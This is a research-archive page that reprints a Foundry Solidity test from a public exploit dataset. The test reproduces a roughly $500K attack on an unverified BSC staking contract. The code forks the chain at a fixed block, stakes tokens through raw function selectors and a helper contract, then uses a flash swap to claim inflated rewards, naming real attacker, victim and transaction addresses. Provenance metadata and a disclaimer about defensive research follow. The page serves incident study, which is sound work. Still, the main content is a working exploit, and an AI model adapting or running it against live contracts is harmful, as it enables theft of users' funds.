Public reproduction file

src/test/2023-12/UnverifiedContr_0x431abb_exp.sol

Public reproduction file for dataset entry UnverifiedContr_0x431abb.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/UnverifiedContr_0x431abb_exp.sol150 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$500K
8// Attacker : https://bscscan.com/address/0xa9edec4496bd013dac805fb221edefc53cbfaf05
9// Attack Contract : https://bscscan.com/address/0x791626eb05e60fac973646ac8d67b008b939fe88
10// Victim Contract : https://bscscan.com/address/0x431abb27dab05f4e7cdeaa18390fe39364197500
11// Attack Tx (Claim) : https://explorer.phalcon.xyz/tx/bsc/0xbeea4ff215b15870e22ed0e4d36ccd595974ffd55c3d75dad2230196cc379a52
12// Attack Tx (Stake) : https://explorer.phalcon.xyz/tx/bsc/0xb650e9f4b9eb023ea65b55ca4d088323e3d5bda377880dedb149a7fd3fd5c15f
13 
14// @Analysis
15// https://twitter.com/Phalcon_xyz/status/1730625352953901123
16 
17interface IBUSDT_MetaWin {
18    function buy(
19        uint256 amount
20    ) external;
21}
22 
23interface IBindingContract {
24    function bindParent(
25        address parent
26    ) external;
27}
28 
29contract ContractTest is Test {
30    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
31    IERC20 private constant FCN = IERC20(0x0fEA057dB0e6b45fa1A0065Cd512150987F2AF08);
32    IERC20 private constant KLEN = IERC20(0x05CbF8417401028dE10d6B949061336dF8233a9f);
33    IERC20 private constant TRUST = IERC20(0x31952292c193c05AE91e19456312E2Be1419c040);
34    IERC20 private constant MDAO = IERC20(0x6cc1eACe0794bcc5852c7Ff70656c4dF0F02d950);
35    Uni_Pair_V2 private constant FCN_BUSDT = Uni_Pair_V2(0xACB496dd4A8b6B9D1B99D422b8700F6EF932Bc10);
36    IBUSDT_MetaWin private constant BUSDT_MetaWin = IBUSDT_MetaWin(0x90bf82c772f16651d6ae51D42c90c84aE703Eb42);
37    IBindingContract private constant BindingContract = IBindingContract(0x04c5bcFcae55591D72E01c548863F4E754C74339);
38    address private constant vulnContract = 0x431Abb27dAB05f4E7cDeAA18390fE39364197500;
39    address private constant addrToBind = 0x041285A02A7fabc448893f6c1766e4B592f46f96;
40 
41    function setUp() public {
42        vm.createSelectFork("bsc", 33_972_111);
43        vm.label(address(BUSDT), "BUSDT");
44        vm.label(address(FCN), "FCN");
45        vm.label(address(KLEN), "KLEN");
46        vm.label(address(TRUST), "TRUST");
47        vm.label(address(MDAO), "MDAO");
48        vm.label(address(FCN_BUSDT), "FCN_BUSDT");
49        vm.label(address(BUSDT_MetaWin), "BUSDT_MetaWin");
50        vm.label(address(BindingContract), "BindingContract");
51        vm.label(vulnContract, "vulnContract");
52        vm.label(addrToBind, "addrToBind");
53    }
54 
55    function testExploit() public {
56        // Exploiter transfer to attack contract following amounts of tokens (for staking) before attack:
57        deal(address(TRUST), address(this), 171_150_509_328_412_454 + 283_615_706_379_311_069);
58        deal(address(KLEN), address(this), 2848 * 1e18 + 2_999_999_999_999_999_999_999);
59        deal(address(MDAO), address(this), 360_000_000_000_000_004_830 + 2_700_000_000_000_000_007_354);
60        deal(address(FCN), address(this), 190e12);
61        deal(address(BUSDT), address(this), 400e18 + 780_008_559_000_000_000_000);
62 
63        emit log_named_decimal_uint(
64            "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
65        );
66 
67        emit log_named_decimal_uint("Exploiter FCN balance before attack", FCN.balanceOf(address(this)), FCN.decimals());
68 
69        // Approving tokens to vulnerable, unverified contract
70        setApprovals();
71 
72        // Stake tokens TX
73        BUSDT_MetaWin.buy(7690);
74        BindingContract.bindParent(addrToBind);
75        (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x1f6b08a4), 1));
76        require(success, "Call to func with selector 0x1f6b08a4 not successful");
77        (success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x61b761d5), 200e18));
78        require(success, "Call to func with selector 0x61b761d5 not successful");
79 
80        HelperExploitContract helper = new HelperExploitContract();
81        transferTokens(address(helper));
82        helper.exploit();
83 
84        // Claim tokens TX
85        vm.roll(33_972_130);
86        FCN_BUSDT.swap(0, BUSDT.balanceOf(address(FCN_BUSDT)) - 20e15, address(this), abi.encode(0));
87        emit log_named_decimal_uint(
88            "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
89        );
90 
91        emit log_named_decimal_uint("Exploiter FCN balance after attack", FCN.balanceOf(address(this)), FCN.decimals());
92    }
93 
94    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
95        // Claim rewards in this call:
96        (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0xd9574d4c)));
97        require(success, "Call to func with selector 0xd9574d4c not successful");
98 
99        // Repaying flashloan
100        BUSDT.transfer(address(FCN_BUSDT), 10_000 * 1e18);
101        FCN.transfer(address(FCN_BUSDT), 100e18);
102    }
103 
104    function setApprovals() internal {
105        KLEN.approve(vulnContract, type(uint256).max);
106        TRUST.approve(vulnContract, type(uint256).max);
107        MDAO.approve(vulnContract, type(uint256).max);
108        FCN.approve(vulnContract, type(uint256).max);
109        BUSDT.approve(address(BUSDT_MetaWin), type(uint256).max);
110    }
111 
112    function transferTokens(
113        address to
114    ) internal {
115        KLEN.transfer(to, KLEN.balanceOf(address(this)) / 2);
116        TRUST.transfer(to, TRUST.balanceOf(address(this)) / 2);
117        MDAO.transfer(to, MDAO.balanceOf(address(this)) / 2);
118        FCN.transfer(to, FCN.balanceOf(address(this)) / 2);
119        BUSDT.transfer(to, BUSDT.balanceOf(address(this)) / 2);
120    }
121}
122 
123contract HelperExploitContract is Test {
124    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
125    IERC20 private constant FCN = IERC20(0x0fEA057dB0e6b45fa1A0065Cd512150987F2AF08);
126    IERC20 private constant KLEN = IERC20(0x05CbF8417401028dE10d6B949061336dF8233a9f);
127    IERC20 private constant TRUST = IERC20(0x31952292c193c05AE91e19456312E2Be1419c040);
128    IERC20 private constant MDAO = IERC20(0x6cc1eACe0794bcc5852c7Ff70656c4dF0F02d950);
129    IBUSDT_MetaWin private constant BUSDT_MetaWin = IBUSDT_MetaWin(0x90bf82c772f16651d6ae51D42c90c84aE703Eb42);
130    IBindingContract private constant BindingContract = IBindingContract(0x04c5bcFcae55591D72E01c548863F4E754C74339);
131    address private constant vulnContract = 0x431Abb27dAB05f4E7cDeAA18390fE39364197500;
132 
133    function exploit() external {
134        setApprovals();
135        BUSDT_MetaWin.buy(6069);
136        BindingContract.bindParent(msg.sender);
137        (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x1f6b08a4), 1));
138        require(success, "Call to func with selector 0x1f6b08a4 not successful");
139        (success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x61b761d5), 200e18));
140        require(success, "Call to func with selector 0x61b761d5 not successful");
141    }
142 
143    function setApprovals() internal {
144        KLEN.approve(vulnContract, type(uint256).max);
145        TRUST.approve(vulnContract, type(uint256).max);
146        MDAO.approve(vulnContract, type(uint256).max);
147        FCN.approve(vulnContract, type(uint256).max);
148        BUSDT.approve(address(BUSDT_MetaWin), type(uint256).max);
149    }
150}

Analysis

Dataset entry

Public Foundry test for “UnverifiedContr_0x431abb” (2023-12-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame protocol or name in the dataset · 96 lines
src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame protocol or name in the dataset · 31 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xa9edec4496bd013dac805fb221edefc53cbfaf05
Attack Contract
0x791626eb05e60fac973646ac8d67b008b939fe88
Victim
0x431abb27dab05f4e7cdeaa18390fe39364197500

Attack Tx
0xbeea4ff215b15870e22ed0e4d36ccd595974ffd55c3d75dad2230196cc379a52
Attack Tx
0xb650e9f4b9eb023ea65b55ca4d088323e3d5bda377880dedb149a7fd3fd5c15f

File record

Name: UnverifiedContr_0x431abb
Path: src/test/2023-12/UnverifiedContr_0x431abb_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 5606201a8478403062f3593881b9686c884e88c8
Language: Solidity
Size: 151 lines
Date: 2023-12-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-12/UnverifiedContr_0x431abb_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5606201a8478403062f3593881b9686c884e88c8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.